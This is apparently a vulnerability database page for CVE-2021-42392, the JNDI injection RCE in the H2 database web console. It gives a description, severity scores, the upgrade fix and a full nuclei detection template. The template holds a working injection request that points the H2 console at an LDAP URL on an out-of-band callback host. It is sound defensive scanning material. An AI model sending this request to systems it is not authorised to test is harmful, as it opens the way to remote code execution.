HexBrain

Browse / CVEs / CVE-2021-42392

CVE-2021-42392· h2database / h2· CWE-502

H2 Database Console - JNDI Injection RCE

criticalseverity
9.8CVSS score
83.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).

Impact

An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.

Fix

Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.

How to confirm it

Send: GET / ; POST /test.do?jsessionid={{jsessionid}}
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2021-42392 -u <target>

The full check
id: CVE-2021-42392

info:
  name: H2 Database Console - JNDI Injection RCE
  author: i-am-paradox
  severity: critical
  description: |
    The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
  impact: |
    An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
  remediation: |
    Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
  reference:
    - https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
    - https://github.com/advisories/GHSA-h376-j262-vhq6
    - https://github.com/h2database/h2database/commit/b24aa46f48904ce64443f8f4353d70a2eed09037
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42392
    - https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2021-42392
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42392
    epss-score: 0.83176
    epss-percentile: 0.9968
    cwe-id: CWE-502
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: h2database
    product: h2
  tags: cve,cve2021,h2database,jndi,rce,oast,java,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /test.do?jsessionid={{jsessionid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        driver=javax.naming.InitialContext&url=ldap://{{randstr}}.{{interactsh-url}}&user=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

    extractors:
      - type: regex
        name: jsessionid
        group: 1
        regex:
          - 'jsessionid=([0-9a-zA-Z-]+)'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from